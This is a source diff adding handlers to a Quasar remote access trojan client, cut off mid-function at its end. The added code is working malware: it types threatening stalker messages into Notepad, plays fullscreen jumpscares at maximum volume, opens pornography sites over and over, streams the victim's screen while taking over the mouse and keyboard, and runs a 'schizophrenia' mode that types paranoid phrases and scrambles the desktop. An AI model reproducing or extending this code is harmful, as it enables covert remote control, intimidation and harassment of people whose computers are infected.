float tbx = 3*(it*it*(cx - RX*0.3f - lx) + 2*it*t*(cx + RX*0.1f - (cx - RX*0.3f)) + t*t*(rx - (cx + RX*0.1f)));
|
||||
float tby = 3*(it*it*(cy - 50f - innerY) + 2*it*t*(cy - 52f - (cy - 50f)) + t*t*(outerY - (cy - 52f)));
|
||||
|
||||
// Normal pointing outward (away from eye center = upward here)
|
||||
float len = (float)Math.Sqrt(tbx*tbx + tby*tby);
|
||||
if (len < 0.001f) continue;
|
||||
float nx = -tby / len, ny = tbx / len;
|
||||
|
||||
// Vary lash length — longer in middle
|
||||
float mid = Math.Abs(t - 0.45f) * 2f;
|
||||
float lashLen = 14f - mid * 6f;
|
||||
|
||||
// Slight outward curl
|
||||
float curlX = nx * lashLen + ny * lashLen * 0.18f;
|
||||
float curlY = ny * lashLen - nx * lashLen * 0.18f;
|
||||
|
||||
g.DrawLine(pen, bx, by, bx + curlX, by + curlY);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing) _timer?.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,115 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class GhostTypingHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern bool SetForegroundWindow(IntPtr hWnd);
|
||||
[DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
||||
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
||||
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
|
||||
|
||||
private const int SW_RESTORE = 9;
|
||||
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||
private const byte VK_SHIFT = 0x10;
|
||||
|
||||
private static readonly string[] Messages =
|
||||
{
|
||||
"I know you can hear me.",
|
||||
"Stop pretending you're alone.",
|
||||
"I've been watching you for a while now.",
|
||||
"Did you hear that? No? You will.",
|
||||
"You should close the curtains.",
|
||||
"I'm closer than you think.",
|
||||
"Did you check under the bed?",
|
||||
"Someone was in your room last night.",
|
||||
"Don't turn around.",
|
||||
"I can see your face right now.",
|
||||
"You really should lock your doors.",
|
||||
"Have you noticed anything missing lately?",
|
||||
"The calls are coming from inside the house.",
|
||||
"I'll be there soon. Don't worry.",
|
||||
"We've been here the whole time.",
|
||||
};
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoGhostTyping;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
new Thread(Run) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
private static void TypeChar(char c)
|
||||
{
|
||||
short vk = VkKeyScan(c);
|
||||
if (vk == -1) return;
|
||||
|
||||
byte key = (byte)(vk & 0xFF);
|
||||
bool shift = ((vk >> 8) & 1) != 0;
|
||||
|
||||
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(key, 0, 0, 0);
|
||||
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
||||
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
|
||||
private static void Run()
|
||||
{
|
||||
try
|
||||
{
|
||||
var rng = new Random();
|
||||
string text = Messages[rng.Next(Messages.Length)];
|
||||
|
||||
var proc = Process.Start("notepad.exe");
|
||||
if (proc == null) return;
|
||||
|
||||
// wait for window handle
|
||||
IntPtr hwnd = IntPtr.Zero;
|
||||
for (int i = 0; i < 40; i++)
|
||||
{
|
||||
Thread.Sleep(200);
|
||||
proc.Refresh();
|
||||
if (proc.MainWindowHandle != IntPtr.Zero)
|
||||
{
|
||||
hwnd = proc.MainWindowHandle;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (hwnd == IntPtr.Zero) return;
|
||||
|
||||
ShowWindow(hwnd, SW_RESTORE);
|
||||
|
||||
// keep trying to focus until it actually has it
|
||||
for (int i = 0; i < 20; i++)
|
||||
{
|
||||
SetForegroundWindow(hwnd);
|
||||
Thread.Sleep(100);
|
||||
if (GetForegroundWindow() == hwnd) break;
|
||||
}
|
||||
|
||||
Thread.Sleep(rng.Next(1200, 2500));
|
||||
|
||||
foreach (char c in text)
|
||||
{
|
||||
if (GetForegroundWindow() != hwnd)
|
||||
SetForegroundWindow(hwnd);
|
||||
|
||||
TypeChar(c);
|
||||
Thread.Sleep(rng.Next(80, 200));
|
||||
|
||||
if (rng.Next(8) == 0)
|
||||
Thread.Sleep(rng.Next(400, 900));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class JumpscareHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
|
||||
|
||||
private const byte VK_VOLUME_UP = 0xAF;
|
||||
|
||||
private static void MaximizeVolume()
|
||||
{
|
||||
for (int i = 0; i < 50; i++)
|
||||
keybd_event(VK_VOLUME_UP, 0, 0, 0);
|
||||
}
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoJumpscare;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoJumpscare js)
|
||||
new Thread(() => RunJumpscare(js)) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
private static byte[] GzipDecompress(byte[] data)
|
||||
{
|
||||
using (var input = new MemoryStream(data))
|
||||
using (var gz = new GZipStream(input, CompressionMode.Decompress))
|
||||
using (var output = new MemoryStream())
|
||||
{
|
||||
gz.CopyTo(output);
|
||||
return output.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private void RunJumpscare(DoJumpscare js)
|
||||
{
|
||||
MaximizeVolume();
|
||||
|
||||
string wavPath = Path.Combine(Path.GetTempPath(), "js_scream.wav");
|
||||
string gifPath = Path.Combine(Path.GetTempPath(), "js_scary.gif");
|
||||
|
||||
try { File.WriteAllBytes(wavPath, GzipDecompress(js.WavData)); } catch { }
|
||||
try { File.WriteAllBytes(gifPath, GzipDecompress(js.GifData)); } catch { }
|
||||
|
||||
Form form = null;
|
||||
|
||||
var uiThread = new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var player = new System.Media.SoundPlayer(wavPath))
|
||||
player.Play();
|
||||
|
||||
Image gif = null;
|
||||
try { gif = Image.FromFile(gifPath); } catch { }
|
||||
|
||||
form = new Form
|
||||
{
|
||||
FormBorderStyle = FormBorderStyle.None,
|
||||
WindowState = FormWindowState.Maximized,
|
||||
TopMost = true,
|
||||
BackColor = Color.Black,
|
||||
ShowInTaskbar = false,
|
||||
};
|
||||
|
||||
if (gif != null)
|
||||
{
|
||||
var pb = new PictureBox
|
||||
{
|
||||
Image = gif,
|
||||
Dock = DockStyle.Fill,
|
||||
SizeMode = PictureBoxSizeMode.StretchImage,
|
||||
};
|
||||
form.Controls.Add(pb);
|
||||
}
|
||||
|
||||
Application.Run(form);
|
||||
}
|
||||
catch { }
|
||||
});
|
||||
uiThread.SetApartmentState(ApartmentState.STA);
|
||||
uiThread.IsBackground = true;
|
||||
uiThread.Start();
|
||||
|
||||
// wait for form to be created, then close it after 2 seconds
|
||||
Thread.Sleep(2500);
|
||||
try
|
||||
{
|
||||
if (form != null && !form.IsDisposed)
|
||||
form.Invoke(new Action(() => form.Close()));
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class MessageBoxHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoShowMessageBox msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoShowMessageBox message)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
// messagebox thread resides in csrss.exe - wtf?
|
||||
MessageBox.Show(message.Text, message.Caption,
|
||||
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button),
|
||||
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon),
|
||||
MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
|
||||
}) {IsBackground = true}.Start();
|
||||
|
||||
client.Send(new SetStatus { Message = "Successfully displayed MessageBox" });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using Quasar.Common.Messages;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public abstract class NotificationMessageProcessor : MessageProcessorBase<string>
|
||||
{
|
||||
protected NotificationMessageProcessor() : base(true)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,117 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class PianoHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoPlayNote;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
var note = (DoPlayNote)message;
|
||||
new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
// ── waveOut P/Invoke ─────────────────────────────────────────────────
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WAVEFORMATEX
|
||||
{
|
||||
public ushort wFormatTag, nChannels;
|
||||
public uint nSamplesPerSec, nAvgBytesPerSec;
|
||||
public ushort nBlockAlign, wBitsPerSample, cbSize;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WAVEHDR
|
||||
{
|
||||
public IntPtr lpData;
|
||||
public uint dwBufferLength, dwBytesRecorded;
|
||||
public IntPtr dwUser;
|
||||
public uint dwFlags, dwLoops;
|
||||
public IntPtr lpNext, reserved;
|
||||
}
|
||||
|
||||
[DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);
|
||||
|
||||
private const uint WAVE_MAPPER = 0xFFFFFFFF;
|
||||
private const int SAMPLE_RATE = 44100;
|
||||
|
||||
private static void PlayNote(int frequency, int durationMs)
|
||||
{
|
||||
try
|
||||
{
|
||||
int numSamples = SAMPLE_RATE * durationMs / 1000;
|
||||
byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM
|
||||
|
||||
int attack = Math.Min(200, numSamples / 8);
|
||||
int release = Math.Min(8000, numSamples * 2 / 3);
|
||||
|
||||
for (int i = 0; i < numSamples; i++)
|
||||
{
|
||||
double t = (double)i / SAMPLE_RATE;
|
||||
|
||||
// Natural piano-like amplitude envelope
|
||||
double env = 1.0;
|
||||
if (i < attack)
|
||||
env = (double)i / attack;
|
||||
else if (i > numSamples - release)
|
||||
env = (double)(numSamples - i) / release;
|
||||
|
||||
// Fundamental + harmonics with exponential decay (makes it sound like a struck string)
|
||||
double decay = Math.Exp(-3.5 * t);
|
||||
double wave = env * (
|
||||
0.60 * Math.Sin(2 * Math.PI * frequency * t) * (0.35 + 0.65 * decay) +
|
||||
0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay +
|
||||
0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay +
|
||||
0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay +
|
||||
0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay
|
||||
);
|
||||
|
||||
short pcm = (short)(wave * 26000);
|
||||
buf[i * 2] = (byte)(pcm & 0xFF);
|
||||
buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF);
|
||||
}
|
||||
|
||||
var fmt = new WAVEFORMATEX
|
||||
{
|
||||
wFormatTag = 1, // PCM
|
||||
nChannels = 1,
|
||||
nSamplesPerSec = SAMPLE_RATE,
|
||||
wBitsPerSample = 16,
|
||||
nBlockAlign = 2,
|
||||
nAvgBytesPerSec = SAMPLE_RATE * 2
|
||||
};
|
||||
|
||||
IntPtr hWave;
|
||||
if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;
|
||||
|
||||
GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned);
|
||||
try
|
||||
{
|
||||
uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
|
||||
var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length };
|
||||
waveOutPrepareHeader(hWave, ref hdr, hdrSz);
|
||||
waveOutWrite(hWave, ref hdr, hdrSz);
|
||||
Thread.Sleep(durationMs + 100); // wait for playback to finish
|
||||
waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
|
||||
}
|
||||
finally
|
||||
{
|
||||
pin.Free();
|
||||
waveOutClose(hWave);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class PornSpamHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private static readonly string[] Urls =
|
||||
{
|
||||
"https://www.pornhub.com",
|
||||
"https://www.xvideos.com",
|
||||
"https://www.xhamster.com",
|
||||
"https://www.xnxx.com",
|
||||
"https://www.redtube.com",
|
||||
"https://www.youporn.com",
|
||||
"https://www.spankbang.com",
|
||||
"https://www.tube8.com",
|
||||
};
|
||||
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartPornSpam || message is DoStopPornSpam;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoStartPornSpam _:
|
||||
Start();
|
||||
break;
|
||||
case DoStopPornSpam _:
|
||||
Stop();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(() =>
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
OpenInNewWindow(Urls[rng.Next(Urls.Length)]);
|
||||
}
|
||||
catch { }
|
||||
Thread.Sleep(800);
|
||||
}
|
||||
});
|
||||
_thread.IsBackground = true;
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private static void OpenInNewWindow(string url)
|
||||
{
|
||||
try
|
||||
{
|
||||
string progId = Microsoft.Win32.Registry.GetValue(
|
||||
@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice",
|
||||
"ProgId", null) as string;
|
||||
|
||||
if (progId != null)
|
||||
{
|
||||
string command = Microsoft.Win32.Registry.GetValue(
|
||||
$@"HKEY_CLASSES_ROOT\{progId}\shell\open\command",
|
||||
null, null) as string;
|
||||
|
||||
if (command != null)
|
||||
{
|
||||
string exePath = command.StartsWith("\"")
|
||||
? command.Substring(1, command.IndexOf('"', 1) - 1)
|
||||
: command.Split(' ')[0];
|
||||
|
||||
if (File.Exists(exePath))
|
||||
{
|
||||
string exeName = Path.GetFileNameWithoutExtension(exePath).ToLower();
|
||||
string flag = exeName == "firefox" ? "-new-window" : "--new-window";
|
||||
Process.Start(new ProcessStartInfo(exePath, $"{flag} \"{url}\"")
|
||||
{
|
||||
UseShellExecute = false
|
||||
});
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
// Fallback if registry lookup fails
|
||||
Process.Start(new ProcessStartInfo(url) { UseShellExecute = true });
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Stop();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,205 @@
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using Quasar.Common.Video;
|
||||
using Quasar.Common.Video.Codecs;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable
|
||||
{
|
||||
private UnsafeStreamCodec _streamCodec;
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is GetDesktop ||
|
||||
message is DoMouseEvent ||
|
||||
message is DoKeyboardEvent ||
|
||||
message is GetMonitors;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetDesktop msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoMouseEvent msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoKeyboardEvent msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case GetMonitors msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDesktop message)
|
||||
{
|
||||
// TODO: Switch to streaming mode without request-response once switched from windows forms
|
||||
// TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
|
||||
var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex));
|
||||
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
|
||||
|
||||
if (_streamCodec == null)
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
|
||||
if (message.CreateNew)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
OnReport("Remote desktop session started");
|
||||
}
|
||||
|
||||
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
|
||||
BitmapData desktopData = null;
|
||||
Bitmap desktop = null;
|
||||
try
|
||||
{
|
||||
desktop = ScreenHelper.CaptureScreen(message.DisplayIndex);
|
||||
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
|
||||
ImageLockMode.ReadWrite, desktop.PixelFormat);
|
||||
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
||||
_streamCodec.CodeImage(desktopData.Scan0,
|
||||
new Rectangle(0, 0, desktop.Width, desktop.Height),
|
||||
new Size(desktop.Width, desktop.Height),
|
||||
desktop.PixelFormat, stream);
|
||||
client.Send(new GetDesktopResponse
|
||||
{
|
||||
Image = stream.ToArray(),
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
if (_streamCodec != null)
|
||||
{
|
||||
client.Send(new GetDesktopResponse
|
||||
{
|
||||
Image = null,
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution
|
||||
});
|
||||
}
|
||||
|
||||
_streamCodec = null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (desktop != null)
|
||||
{
|
||||
if (desktopData != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
desktop.UnlockBits(desktopData);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
desktop.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender sender, DoMouseEvent message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Screen[] allScreens = Screen.AllScreens;
|
||||
int offsetX = allScreens[message.MonitorIndex].Bounds.X;
|
||||
int offsetY = allScreens[message.MonitorIndex].Bounds.Y;
|
||||
Point p = new Point(message.X + offsetX, message.Y + offsetY);
|
||||
|
||||
// Disable screensaver if active before input
|
||||
switch (message.Action)
|
||||
{
|
||||
case MouseAction.LeftDown:
|
||||
case MouseAction.LeftUp:
|
||||
case MouseAction.RightDown:
|
||||
case MouseAction.RightUp:
|
||||
case MouseAction.MoveCursor:
|
||||
if (NativeMethodsHelper.IsScreensaverActive())
|
||||
NativeMethodsHelper.DisableScreensaver();
|
||||
break;
|
||||
}
|
||||
|
||||
switch (message.Action)
|
||||
{
|
||||
case MouseAction.LeftDown:
|
||||
case MouseAction.LeftUp:
|
||||
NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.RightDown:
|
||||
case MouseAction.RightUp:
|
||||
NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.MoveCursor:
|
||||
NativeMethodsHelper.DoMouseMove(p);
|
||||
break;
|
||||
case MouseAction.ScrollDown:
|
||||
NativeMethodsHelper.DoMouseScroll(p, true);
|
||||
break;
|
||||
case MouseAction.ScrollUp:
|
||||
NativeMethodsHelper.DoMouseScroll(p, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender sender, DoKeyboardEvent message)
|
||||
{
|
||||
if (NativeMethodsHelper.IsScreensaverActive())
|
||||
NativeMethodsHelper.DisableScreensaver();
|
||||
|
||||
NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetMonitors message)
|
||||
{
|
||||
client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Speech.Synthesis;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class SchizophreniaHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
||||
[DllImport("user32.dll")] private static extern bool GetWindowRect(IntPtr hWnd, out RECT rect);
|
||||
[DllImport("user32.dll")] private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int w, int h, bool repaint);
|
||||
[DllImport("user32.dll")] private static extern IntPtr FindWindow(string cls, string name);
|
||||
[DllImport("user32.dll")] private static extern IntPtr FindWindowEx(IntPtr parent, IntPtr child, string cls, string name);
|
||||
[DllImport("user32.dll")] private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam);
|
||||
[DllImport("user32.dll")] private static extern int GetWindowLong(IntPtr hWnd, int index);
|
||||
[DllImport("user32.dll")] private static extern int SetWindowLong(IntPtr hWnd, int index, int value);
|
||||
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint flags, int extra);
|
||||
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct RECT { public int Left, Top, Right, Bottom; }
|
||||
|
||||
private const int GWL_STYLE = -16;
|
||||
private const int LVS_AUTOARRANGE = 0x0100;
|
||||
private const int LVM_GETITEMCOUNT = 0x1004;
|
||||
private const int LVM_SETITEMPOSITION = 0x100F;
|
||||
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||
private const byte VK_SHIFT = 0x10;
|
||||
|
||||
private volatile bool _running;
|
||||
private readonly object _startLock = new object();
|
||||
|
||||
private static readonly string[] Phrases =
|
||||
{
|
||||
"THEY ARE WATCHING YOU",
|
||||
"i can hear you breathing",
|
||||
"the walls are closing in",
|
||||
"make it stop make it stop",
|
||||
"WHO IS BEHIND YOU",
|
||||
"you are not alone in here",
|
||||
"i see everything you do",
|
||||
"we have always been here",
|
||||
"DO NOT TURN AROUND",
|
||||
"hahahahahahahahaha",
|
||||
"there is no escape",
|
||||
"im inside the computer",
|
||||
"WHAT WAS THAT NOISE",
|
||||
"tick tick tick tick tick",
|
||||
"get out get out get out",
|
||||
"your eyes are lying to you",
|
||||
"i counted your keystrokes today",
|
||||
"the screen is watching back",
|
||||
};
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartSchizophrenia || message is DoStopSchizophrenia;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartSchizophrenia) Start();
|
||||
else if (message is DoStopSchizophrenia) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
lock (_startLock)
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
}
|
||||
Spawn(TypingChaos);
|
||||
Spawn(DesktopScrambler);
|
||||
Spawn(WindowShaker);
|
||||
Spawn(RandomTTS);
|
||||
}
|
||||
|
||||
private void Stop() => _running = false;
|
||||
|
||||
private void Spawn(ThreadStart ts)
|
||||
{
|
||||
var t = new Thread(ts) { IsBackground = true };
|
||||
t.SetApartmentState(ApartmentState.STA);
|
||||
t.Start();
|
||||
}
|
||||
|
||||
// --- Typing chaos: types random phrases/garbage into focused window ---
|
||||
|
||||
private void TypingChaos()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(3000, 9000));
|
||||
if (!_running) break;
|
||||
|
||||
string text = rng.Next(3) == 0
|
||||
? new string("!@#$%^&*".ToCharArray()[rng.Next(8)], rng.Next(3, 7))
|
||||
: Phrases[rng.Next(Phrases.Length)];
|
||||
|
||||
foreach (char c in text)
|
||||
{
|
||||
if (!_running) break;
|
||||
TypeChar(c);
|
||||
Thread.Sleep(rng.Next(35, 110));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void TypeChar(char c)
|
||||
{
|
||||
short vk = VkKeyScan(c);
|
||||
if (vk == -1) return;
|
||||
byte key = (byte)(vk & 0xFF);
|
||||
bool shift = ((vk >> 8) & 1) != 0;
|
||||
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(key, 0, 0, 0);
|
||||
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
||||
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
|
||||
// --- Desktop icon scrambler ---
|
||||
|
||||
private void DesktopScrambler()
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
Thread.Sleep(rng.Next(10000, 22000));
|
||||
if (!_running) break;
|
||||
try { ScrambleIcons(rng); } catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private static void ScrambleIcons(Random rng)
|
||||
{
|
||||
